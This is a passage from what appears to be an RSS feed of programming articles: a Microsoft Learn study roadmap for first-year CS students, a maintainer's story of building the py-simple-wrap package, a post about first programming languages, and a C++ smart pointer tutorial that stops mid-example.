<title>The Microsoft Learn Roadmap I Would Give a First-Year CS Student</title>
<link>https://coderlegion.com/26511/the-microsoft-learn-roadmap-i-would-give-a-first-year-csstudent</link>
<description>&lt;p&gt;When I talk to first-year computer science students, I notice the same pattern almost every time.&lt;/p&gt;
&lt;p&gt;Someone has a playlist for Python.&lt;/p&gt;
&lt;p&gt;Someone else says you should learn C++ first.&lt;/p&gt;
&lt;p&gt;A YouTuber recommends learning cloud.&lt;/p&gt;
&lt;p&gt;Another says AI is the future.&lt;/p&gt;
&lt;p&gt;Then there are certifications, GitHub projects, roadmaps, coding platforms, hackathons, and dozens of tabs sitting open in the browser.&lt;br&gt;
The result?&lt;/p&gt;
&lt;p&gt;A lot of students spend more time planning what to learn than actually learning.&lt;/p&gt;
&lt;p&gt;I think this happens because we're exposed to an endless amount of technology content from day one. Every topic sounds important. Every roadmap looks urgent. Every certification seems like something we should start immediately.&lt;/p&gt;
&lt;p&gt;The mistake isn't curiosity.&lt;/p&gt;
&lt;p&gt;The mistake is trying to learn everything at once.&lt;br&gt;
Over time, I've become convinced that structured learning beats collecting tutorials.&lt;/p&gt;
&lt;p&gt;A hundred bookmarked videos don't automatically create progress. A clear sequence of skills usually does.&lt;/p&gt;
&lt;p&gt;If I were advising a first-year CS student today, this is the roadmap I would suggest. It's practical, realistic, and designed to fit alongside university studies instead of competing with them.&lt;/p&gt;
&lt;h3 id=&quot;stage-1-build-programming-fundamentals-first&quot;&gt;Stage 1: Build Programming Fundamentals First&lt;/h3&gt;
&lt;p&gt;This stage is not exciting.&lt;br&gt;
That's exactly why it's important.&lt;br&gt;
Before thinking about cloud platforms, machine learning models, cybersecurity tools, or DevOps pipelines, you need to become comfortable with basic programming concepts.&lt;br&gt;
Focus on things like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Variables&lt;/li&gt;
&lt;li&gt;Data types&lt;/li&gt;
&lt;li&gt;Conditions&lt;/li&gt;
&lt;li&gt;Loops&lt;/li&gt;
&lt;li&gt;Functions&lt;/li&gt;
&lt;li&gt;Arrays and data structures&lt;/li&gt;
&lt;li&gt;Problem solving&lt;/li&gt;
&lt;li&gt;Basic debugging&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The specific language matters less than most people think.&lt;/p&gt;
&lt;p&gt;Your university may start with C++, Java, Python, or C#. That's fine.&lt;/p&gt;
&lt;p&gt;What matters is understanding how programs work.&lt;/p&gt;
&lt;p&gt;I've seen students jump straight into trendy topics and then struggle because basic programming logic wasn't solid. When that foundation is weak, every advanced topic feels harder than it should.&lt;/p&gt;
&lt;p&gt;Microsoft Learn is useful here because many learning paths are structured, not random collections of videos.&lt;/p&gt;
&lt;p&gt;Instead of asking, &quot;What should I learn next?&quot;, the path already guides you through the next concept.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Resource:&lt;/strong&gt;&lt;br&gt;
 &lt;a rel=&quot;nofollow&quot; href=&quot;https://learn.microsoft.com/?wt.mc_id=studentamb_496381&quot;&gt;https://learn.microsoft.com/?wt.mc_id=studentamb_496381&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;At this stage, don't worry about building impressive projects.&lt;br&gt;
Learn how to write code that works.&lt;/p&gt;
&lt;h3 id=&quot;stage-2-learn-git-and-the-developer-workflow&quot;&gt;Stage 2: Learn Git and the Developer Workflow&lt;/h3&gt;
&lt;p&gt;This is one of the most overlooked skills among beginners.&lt;/p&gt;
&lt;p&gt;Many students spend months learning programming but still don't know how professional developers manage code.&lt;/p&gt;
&lt;p&gt;Learning Git early pays off much faster than most students expect.&lt;/p&gt;
&lt;p&gt;Get comfortable with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Repositories&lt;/li&gt;
&lt;li&gt;Commits&lt;/li&gt;
&lt;li&gt;Branches&lt;/li&gt;
&lt;li&gt;Pull requests&lt;/li&gt;
&lt;li&gt;Version control basics&lt;/li&gt;
&lt;li&gt;GitHub collaboration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal isn't becoming a Git expert.&lt;/p&gt;
&lt;p&gt;The goal is making Git part of your normal workflow.&lt;/p&gt;
&lt;p&gt;Imagine you're working on an assignment.&lt;/p&gt;
&lt;p&gt;Instead of keeping files named:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;project_final
project_final2
project_final_actual
project_final_latest_final
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You use Git commits to track changes properly.&lt;br&gt;
That's a small shift, but it mirrors how software is built in real environments.&lt;/p&gt;
&lt;p&gt;The earlier you develop these habits, the easier team projects, hackathons, internships, and open-source contributions become.&lt;/p&gt;
&lt;h3 id=&quot;stage-3-choose-one-direction-instead-of-chasing-everything&quot;&gt;Stage 3: Choose One Direction Instead of Chasing Everything&lt;/h3&gt;
&lt;p&gt;This is where many students get stuck.&lt;/p&gt;
&lt;p&gt;They try to learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloud&lt;/li&gt;
&lt;li&gt;AI&lt;/li&gt;
&lt;li&gt;Data Science&lt;/li&gt;
&lt;li&gt;Cybersecurity&lt;/li&gt;
&lt;li&gt;DevOps&lt;/li&gt;
&lt;li&gt;Mobile Development&lt;/li&gt;
&lt;li&gt;Web Development&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All at the same time.&lt;/p&gt;
&lt;p&gt;I wouldn't do that.&lt;/p&gt;
&lt;p&gt;After building programming fundamentals, pick one direction that genuinely interests you.&lt;br&gt;
Not forever.&lt;br&gt;
Just for the next few months.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;h4 id=&quot;cloud&quot;&gt;Cloud&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloud fundamentals&lt;/li&gt;
&lt;li&gt;Virtual machines&lt;/li&gt;
&lt;li&gt;Storage&lt;/li&gt;
&lt;li&gt;Networking concepts&lt;/li&gt;
&lt;li&gt;Basic Azure services&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;ai&quot;&gt;AI&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;Data handling&lt;/li&gt;
&lt;li&gt;Machine learning fundamentals&lt;/li&gt;
&lt;li&gt;Generative AI concepts&lt;/li&gt;
&lt;li&gt;Model evaluation basics&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;data&quot;&gt;Data&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL&lt;/li&gt;
&lt;li&gt;Data visualization&lt;/li&gt;
&lt;li&gt;Data analysis&lt;/li&gt;
&lt;li&gt;Databases&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;devops&quot;&gt;DevOps&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Linux basics&lt;/li&gt;
&lt;li&gt;CI/CD concepts&lt;/li&gt;
&lt;li&gt;Containers&lt;/li&gt;
&lt;li&gt;Automation&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;security&quot;&gt;Security&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Security fundamentals&lt;/li&gt;
&lt;li&gt;Identity concepts&lt;/li&gt;
&lt;li&gt;Threat awareness&lt;/li&gt;
&lt;li&gt;Security best practices&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;application-development&quot;&gt;Application Development&lt;/h4&gt;
&lt;p&gt;Learn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Frontend frameworks&lt;/li&gt;
&lt;li&gt;Backend basics&lt;/li&gt;
&lt;li&gt;APIs&lt;/li&gt;
&lt;li&gt;Databases&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal isn't specialization.&lt;/p&gt;
&lt;p&gt;The goal is reducing noise.&lt;/p&gt;
&lt;p&gt;Students often think choosing one path means missing out on everything else.&lt;/p&gt;
&lt;p&gt;Actually, it usually helps you learn faster because your attention isn't split across six different roadmaps.&lt;/p&gt;
&lt;p&gt;Microsoft Learn has dedicated learning paths for all of these areas, making exploration much easier without constantly searching for the next resource.&lt;/p&gt;
&lt;h3 id=&quot;stage-4-build-a-small-project&quot;&gt;Stage 4: Build a Small Project&lt;/h3&gt;
&lt;p&gt;This is the stage that separates learning from consuming content.&lt;/p&gt;
&lt;p&gt;At some point, tutorials stop helping.&lt;/p&gt;
&lt;p&gt;The only way forward is building something.&lt;/p&gt;
&lt;p&gt;The project does not need to be impressive.&lt;/p&gt;
&lt;p&gt;In fact, I would intentionally keep it small.&lt;/p&gt;
&lt;p&gt;Examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A student expense tracker&lt;/li&gt;
&lt;li&gt;A task management application&lt;/li&gt;
&lt;li&gt;A weather dashboard&lt;/li&gt;
&lt;li&gt;A simple chatbot&lt;/li&gt;
&lt;li&gt;A portfolio website&lt;/li&gt;
&lt;li&gt;A basic inventory system&lt;/li&gt;
&lt;li&gt;A data analysis dashboard&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The purpose of the project isn't showing off.&lt;/p&gt;
&lt;p&gt;The purpose is discovering what you don't know yet.&lt;/p&gt;
&lt;p&gt;Projects expose gaps that tutorials hide.&lt;/p&gt;
&lt;p&gt;You suddenly realize:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your Git workflow needs improvement.&lt;/li&gt;
&lt;li&gt;Your debugging skills need work.&lt;/li&gt;
&lt;li&gt;Your database knowledge is incomplete.&lt;/li&gt;
&lt;li&gt;Your API integration doesn't work properly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's normal.&lt;/p&gt;
&lt;p&gt;Those lessons are valuable because they're connected to real problems.&lt;/p&gt;
&lt;p&gt;University courses often provide theoretical foundations. Personal projects provide practical context.&lt;/p&gt;
&lt;p&gt;The combination of both is powerful.&lt;/p&gt;
&lt;h3 id=&quot;stage-5-validate-practical-skills&quot;&gt;Stage 5: Validate Practical Skills&lt;/h3&gt;
&lt;p&gt;A lot of students ask me when they should think about certifications and credentials.&lt;/p&gt;
&lt;p&gt;My answer is usually:&lt;/p&gt;
&lt;p&gt;Not first.&lt;/p&gt;
&lt;p&gt;Not second.&lt;/p&gt;
&lt;p&gt;Definitely not before learning the fundamentals.&lt;/p&gt;
&lt;p&gt;Once you've built some practical skills and completed projects, then credentials start making more sense.&lt;/p&gt;
&lt;p&gt;One thing I like about Microsoft Learn is that it doesn't only focus on reading content.&lt;/p&gt;
&lt;p&gt;Students can also explore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Role-based learning paths&lt;/li&gt;
&lt;li&gt;Applied Skills&lt;/li&gt;
&lt;li&gt;Technical credentials&lt;/li&gt;
&lt;li&gt;Hands-on exercises&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Applied Skills are particularly interesting because they focus on demonstrating practical abilities in specific scenarios rather than simply collecting study material.&lt;br&gt;
At this point, credentials become evidence of learning rather than substitutes for learning.&lt;br&gt;
That's an important difference.&lt;/p&gt;
&lt;h3 id=&quot;how-i-would-use-microsoft-learn-alongside-university&quot;&gt;How I Would Use Microsoft Learn Alongside University&lt;/h3&gt;
&lt;p&gt;I would not replace university coursework with online learning.&lt;/p&gt;
&lt;p&gt;I would combine them.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;If you're studying databases this semester, reinforce those concepts with database-related learning paths.&lt;/p&gt;
&lt;p&gt;If you're learning networking concepts in class, explore cloud networking fundamentals afterward.&lt;/p&gt;
&lt;p&gt;If you're working on a software engineering project, use GitHub and developer workflow resources to support that work.&lt;/p&gt;
&lt;p&gt;The best approach isn't separating university learning from industry learning.&lt;/p&gt;
&lt;p&gt;It's connecting them.&lt;/p&gt;
&lt;p&gt;When both reinforce each other, concepts tend to stick much better.&lt;/p&gt;
&lt;h3 id=&quot;what-i-would-not-do&quot;&gt;What I Would NOT Do&lt;/h3&gt;
&lt;p&gt;If I were starting again as a first-year CS student, here are several things I would actively avoid.&lt;/p&gt;
&lt;h3 id=&quot;i-would-not-collect-endless-roadmaps-&quot;&gt;I would not collect endless roadmaps.&lt;/h3&gt;
&lt;p&gt;Eventually, you need one roadmap and consistent effort.&lt;/p&gt;
&lt;h3 id=&quot;i-would-not-start-five-certifications-at-the-same-time-&quot;&gt;I would not start five certifications at the same time.&lt;/h3&gt;
&lt;p&gt;Finishing one meaningful learning path is usually better than partially completing several.&lt;/p&gt;
&lt;h3 id=&quot;i-would-not-chase-every-technology-trend-&quot;&gt;I would not chase every technology trend.&lt;/h3&gt;
&lt;p&gt;New tools appear constantly.&lt;/p&gt;
&lt;p&gt;Foundational skills remain valuable much longer.&lt;/p&gt;
&lt;h3 id=&quot;i-would-not-spend-months-only-watching-tutorials-&quot;&gt;I would not spend months only watching tutorials.&lt;/h3&gt;
&lt;p&gt;Learning requires building.&lt;/p&gt;
&lt;p&gt;Projects expose weaknesses that passive learning cannot.&lt;/p&gt;
&lt;h3 id=&quot;i-would-not-compare-my-progress-to-students-posting-achievements-online-&quot;&gt;I would not compare my progress to students posting achievements online.&lt;/h3&gt;
&lt;p&gt;Everyone's learning journey is different.&lt;/p&gt;
&lt;p&gt;Comparisons often create pressure without creating progress.&lt;/p&gt;
&lt;h3 id=&quot;a-practical-weekly-routine&quot;&gt;A Practical Weekly Routine&lt;/h3&gt;
&lt;p&gt;If you're currently in your first year, I would keep things simple.&lt;/p&gt;
&lt;h4 id=&quot;monday-to-friday&quot;&gt;Monday to Friday&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Focus primarily on university coursework.&lt;/li&gt;
&lt;li&gt;Spend 30 to 45 minutes on a Microsoft Learn learning path.&lt;/li&gt;
&lt;li&gt;Take notes on concepts that connect to your classes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;saturday&quot;&gt;Saturday&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Work on a personal project for 2 to 3 hours.&lt;/li&gt;
&lt;li&gt;Apply something learned during the week&lt;br&gt;
.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;sunday&quot;&gt;Sunday&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Review notes.&lt;/li&gt;
&lt;li&gt;Update project progress.&lt;/li&gt;
&lt;li&gt;Plan the next week's learning goals.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's it.&lt;/p&gt;
&lt;p&gt;Not six hours every day.&lt;/p&gt;
&lt;p&gt;Not three different certifications simultaneously.&lt;/p&gt;
&lt;p&gt;Not twenty browser tabs full of unfinished tutorials.&lt;/p&gt;
&lt;p&gt;Just consistent progress.&lt;/p&gt;
&lt;p&gt;The biggest lesson I've learned is that successful students aren't necessarily the ones learning the most technologies. They're often the ones following a structured path long enough to build real skills.&lt;/p&gt;
&lt;p&gt;If you're feeling overwhelmed by the number of technologies out there, don't try to learn everything this semester.&lt;/p&gt;
&lt;p&gt;Pick a foundation. Choose a direction. Build something small. Stay consistent.&lt;/p&gt;
&lt;p&gt;And if you're looking for a structured place to explore technical topics, Microsoft Learn is a resource worth keeping in your toolkit:&lt;/p&gt;
&lt;p&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;https://learn.microsoft.com/?wt.mc_id=studentamb_496381&quot;&gt;https://learn.microsoft.com/?wt.mc_id=studentamb_496381&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;If you're currently a CS student, what's the one technology area you're focusing on this semester, and why?&lt;/strong&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26511/the-microsoft-learn-roadmap-i-would-give-a-first-year-csstudent</guid>
<pubDate>Tue, 08 Sep 2026 16:37:09 +0000</pubDate>
</item>
<item>
<title>The Full Circle Philosophy Behind py-simple-wrap</title>
<link>https://coderlegion.com/26482/the-full-circle-philosophy-behind-py-simple-wrap</link>
<description>&lt;p&gt;&lt;strong&gt;Full circle philosophy&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Py-simple-wrap is an &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/sara-czasak/py-simple-wrap&quot;&gt;open source&lt;/a&gt; project which I built. It is a &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/py-simple-wrap/&quot;&gt;python package&lt;/a&gt; that is meant both to make python easier for beginners to use by reducing boilerplate code down to 1-2 lines.&lt;/p&gt;
&lt;p&gt;Although not something that I expected, when the first contributors started appearing, I pivoted to make the project easy to contribute to as well. I realize how overwhelming contributing can be so I decided to make the process as easy and stress free as possible to empower first time contributors to start their open source journey.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background/Constraints&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before I get too far in rambling on about py-simple-wrap let me give you some background.&lt;/p&gt;
&lt;p&gt;I think back not that long ago to when I first typed &lt;code&gt;print(&quot;Hello, world!&quot;)&lt;/code&gt; on phone (yes, I started learning python on a Samsung phone using the pydroid3 app). After I typed that line I was hooked, but there were times when I almost gave up. One thing that almost made me quit is my dyslexia, small typos are insignificant anywhere else but are the &lt;code&gt;make it or break it&lt;/code&gt; factor in a codebase. Had I given up it would have been a huge loss I wouldn't even be aware of. That's why py-simple-wrap puts such strong focus on clear function names and clear parameter names along with clear docstrings with examples.&lt;/p&gt;
&lt;p&gt;I started working with python about a year and a half ago - not a whole lot in the grand scheme of things.&lt;/p&gt;
&lt;p&gt;On top of that py-simple-wrap is my second ever package (I integrated my first ever package date-formatter-spcm into py-simple-wrap), with the first one being a tiny project. The first package was a much more simple version of the easy_formatter module. I also had no prior project management experience.&lt;/p&gt;
&lt;p&gt;If that's not enough right there let me add that I also work full time as a hotel restaurant waitress, which means my time is very limited. Nevertheless, most of the time I'm not waiting tables, I'm working on some aspect of py-simple-wrap.&lt;/p&gt;
&lt;p&gt;All of the mentioned above means that I’m also learning as I build, maintain, review code, etc. Is it challanging? Yes, for sure! Is it worth it? Without a doubt.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about contributing?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Well, I don't have that much experience contributing either. What I do have is plenty of experience in how stressful contributing can be and how daunting that first PR is. I have anxiety. And said anxiety made me feel like a bad PR would be the end of the world, I worried I would look like a fool or a joke to other devs and like one bad PR could break someone's code (and mind you I do know that PRs can't just break someone's code).&lt;/p&gt;
&lt;p&gt;I finally made my first PR in June of this year. I was lucky enough to volunteer at EuroPython 2026, and during the sprints I finally made my first couple of contributions — and saw my first ever merged PR happen right there in person. What made that possible was being right next to the Napari maintainers while it happened. They were warm, supportive, and helpful, with good humor and a fun, light atmosphere that made a nerve-wracking first PR feel like a lot less of a big deal. Huge shout out to the Napari team! I'm trying to bring that same atmosphere to py-simple-wrap contributions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unexpected growth&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When I first started working on py-simple-wrap I didn't expect it to grow much. But now, within the first month and a half, we have a community of 40+ contributors, 20+ stars, 40+ forks, and I built that with zero prior project management experience. I'm proud of that. &lt;/p&gt;
&lt;p&gt;I’m learning as I do, I keep trying to improve and do better. It’s turning out to be a wonderful, wild and wonderfully wild adventure! &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Contributors Quest&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As I mentioned, the amount of contributions took me by surprise, but I also realized the project being seen is a great opportunity to make yet another area more approachable. I realize all the stress and anxiety often involved in making a first PR, I also realize how important contributing to open source is, and how much of a joy it can be to build as a community (big or small).&lt;/p&gt;
&lt;p&gt;I managed to work out a few ways to make contributing as easy as I can (and I’m still looking for more ways). I make sure there are always first-contributor, good-first-issue &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/sara-czasak/py-simple-wrap/issues&quot;&gt;issues&lt;/a&gt; for a variety of contribution types (from docs, through tests, to working on a module), if changes on a PR are requested I try to make sure the contributor knows they can reach out for help. There is also a small (but growing) library of &lt;a rel=&quot;nofollow&quot; href=&quot;https://sara-czasak.github.io/py-simple-wrap/docs/contributor-hub/&quot;&gt;contributing tutorials&lt;/a&gt; including templates (for example docstring template), all of this is in an effort to make contributing more accessible and less scary. &lt;/p&gt;
&lt;p&gt;Another thing I added is &lt;a rel=&quot;nofollow&quot; href=&quot;https://sara-czasak.github.io/py-simple-wrap/quest/&quot;&gt;contributors quest&lt;/a&gt;, a gamified, RPG style game for the contributors with the ability to view the leaderboard, join a guild (or two, or three, for instance: 🪄 The Module Magicians' Guild, 🛡️ The Test Sentinels' Order, or 📜 The Lore Keepers' Circle), take part in challenges and more. I will admit that this particular element (contributors quest) was vibe coded in another project. I hope this small addition brings a little extra spark of fun for everyone!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AI leveraged workflows&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With a few hours (1h–3h) on work days and up to 8h on days off, I needed a way to make the most of limited time and limited energy.&lt;/p&gt;
&lt;p&gt;I'm not the biggest fan of using AI to write code — I mostly use it as a tool to help me learn, not to hand off the actual logic. But automation is a different story, so I decided to leverage it there. I used Claude and Claude Code to build workflows that handle the tasks that don't need to be done by hand.&lt;/p&gt;
&lt;p&gt;Some of the most time-saving automations I implemented are: one that opens new issues based on modules missing tests, docs, etc., another that helps with releasing new versions to PyPI, and more. Thanks to this I was able to maximize the time I spent reviewing code, merging PRs, and of course coding!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The py-simple-wrap hope&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This project has already grown to unexpected proportions, and my single biggest hope is that it grows to become not only a package that simplifies python for beginners but also a full circle of learners learning together and helping others. &lt;/p&gt;
&lt;p&gt;When I close my eyes and imagine what I want py-simple-wrap to be I imagine this: a project with an active community that is kind and supportive, composed of python learners of all levels growing together and helping new contributors join the team and learn and grow. A full circle where newcomers can learn that contributing can be empowering, fun and exciting, and new Pythonistas get the chance to make bigger projects that make them want to understand python even more in depth.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26482/the-full-circle-philosophy-behind-py-simple-wrap</guid>
<pubDate>Tue, 08 Sep 2026 11:45:15 +0000</pubDate>
</item>
<item>
<title>What Was Your First Programming Language?</title>
<link>https://coderlegion.com/26338/what-was-your-first-programming-language</link>
<description>&lt;p&gt;Once upon a time there was a kid and an IBM PS/2. I was 11, armed with QBasic By Example (1993) and way too much curiosity for my own good. That book became my doorway into programming. PRINT loops, GOTO chaos, line numbers, and the thrill of watching a computer do exactly what I told it to, or crash spectacularly when I didn’t.&lt;/p&gt;
&lt;p&gt;From there was a quick jump into C and later C++. I didn’t know it at the time, but that little QBasic book had already wired my brain for how code behaves, not just how it looks on the page. Moving into C felt like leveling up. Suddenly I had pointers, headers, real control flow, and enough rope to hang myself with. The best part was being able to compile and link my own .exe files and give them to friends. &lt;/p&gt;
&lt;p&gt;C++ came next, bringing classes, objects, and a whole new way of thinking about structure. Moving from procedural programming into OOP was a huge step and tough to learn... I wont discuss my frustration with pointers...&lt;/p&gt;
&lt;p&gt;Eventually I landed in C#, which felt like the modern, sane evolution of everything I’d learned up to that point. It had the structure I liked from C++, the clarity I wished C had, and enough guardrails to let me focus on building instead of fighting the language. It’s been home ever since.&lt;/p&gt;
&lt;p&gt;What kicked off your programming life?&lt;br&gt;
Was it Python? JavaScript? TI‑BASIC on a calculator? Scratch? Something weird and obscure?&lt;br&gt;
Drop your first language and your age when you started — I want to see how everyone’s path compares.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26338/what-was-your-first-programming-language</guid>
<pubDate>Sun, 06 Sep 2026 21:21:42 +0000</pubDate>
</item>
<item>
<title>C++ Smart Pointers, unique_ptr vs shared_ptr vs weak_ptr — How to Choose</title>
<link>https://coderlegion.com/26260/c-smart-pointers-uniqueptr-vs-sharedptr-vs-weakptr-how-to-choose</link>
<description>&lt;p&gt;When I first learned about smart pointers, I was equally confused by all three of them! They are used to manage memory dynamically. &lt;code&gt;unique_ptr&lt;/code&gt; is like a master who is responsible for its pet's life. &lt;code&gt;shared_ptr&lt;/code&gt; is like you and your friends renting a house together. &lt;code&gt;weak_ptr&lt;/code&gt; is like a bystander who can only watch. This post explains what each one really does, with short examples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quick answer: use &lt;code&gt;unique_ptr&lt;/code&gt; by default. Use &lt;code&gt;shared_ptr&lt;/code&gt; only when ownership is truly shared. Use &lt;code&gt;weak_ptr&lt;/code&gt; when you need to observe without owning.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;unique_ptr          &lt;/th&gt;&lt;th&gt;shared_ptr                                         &lt;/th&gt;&lt;th&gt;weak_ptr&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Ownership model             &lt;/td&gt;&lt;td&gt;exclusive ownership &lt;/td&gt;&lt;td&gt;shared ownership                                   &lt;/td&gt;&lt;td&gt;no ownership&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Can it be copied            &lt;/td&gt;&lt;td&gt;No                  &lt;/td&gt;&lt;td&gt;Yes                                                &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Can it have multiple owners &lt;/td&gt;&lt;td&gt;No                  &lt;/td&gt;&lt;td&gt;Yes                                                &lt;/td&gt;&lt;td&gt;No (it owns nothing)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Reference counting overhead &lt;/td&gt;&lt;td&gt;none                &lt;/td&gt;&lt;td&gt;atomic count increase/decrease on copy and destroy &lt;/td&gt;&lt;td&gt;touches a separate weak count, never the strong count&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;How to choose               &lt;/td&gt;&lt;td&gt;the default choice  &lt;/td&gt;&lt;td&gt;when ownership is truly shared                     &lt;/td&gt;&lt;td&gt;to break circular references&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h3 id=&quot;unique-ptr&quot;&gt;Unique_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;unique_ptr&lt;/code&gt; means: &quot;I'm your master and responsible for your life and death.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;
using namespace std;

struct Task {
    int mId;
    Task(int id) :mId(id) {
        cout &amp;lt;&amp;lt; &quot;Task::Constructor&quot; &amp;lt;&amp;lt; endl;
    }
    ~Task() {
        cout &amp;lt;&amp;lt; &quot;Task::Destructor&quot; &amp;lt;&amp;lt; endl;
    }
};

int main()
{
    unique_ptr&amp;lt;Task&amp;gt; taskPtr(new Task(23));
    int id = taskPtr-&amp;gt;mId;

    cout &amp;lt;&amp;lt; id &amp;lt;&amp;lt; endl;

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Task::Constructor
23
Task::Destructor
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id=&quot;why-unique-ptr-can-t-be-copied&quot;&gt;Why unique_ptr can't be copied&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;unique_ptr&lt;/code&gt; can't be copy-constructed or copy-assigned, because copying would let two &lt;code&gt;unique_ptr&lt;/code&gt;s point to the same object — and when both are destroyed, the object would be deleted twice. Instead, you use &lt;code&gt;std::move&lt;/code&gt; to transfer ownership.&lt;/p&gt;
&lt;p&gt;More on ownership transfer: see my earlier post, &lt;a rel=&quot;nofollow&quot; href=&quot;https://coderlegion.com/25146/c-uniqueptr-reset-vs-release-vs-std-move&quot;&gt;reset() vs release() vs std::move&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;when-to-choose-unique-ptr&quot;&gt;When to choose unique_ptr&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;unique_ptr&lt;/code&gt; prevents memory leaks caused by programming errors — the object is freed automatically when the pointer goes out of scope, even if you forget to &lt;code&gt;delete&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Ownership can be transferred cheaply with &lt;code&gt;std::move&lt;/code&gt;, without copying the managed object.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id=&quot;shared-ptr&quot;&gt;Shared_ptr&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;shared_ptr&lt;/code&gt; means: the house is rented together by friends. When one friend moves out, the house still belongs to the rest — the object is destroyed only when the last owner releases it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;memory&amp;gt;

class House {
public:
    House()  { std::cout &amp;lt;&amp;lt; &quot;That's a big house.&quot; &amp;lt;&amp;lt; std::endl; }
    ~House() { std::cout &amp;lt;&amp;lt; &quot;Bye&quot; &amp;lt;&amp;lt; std::endl; }
};

int main() {
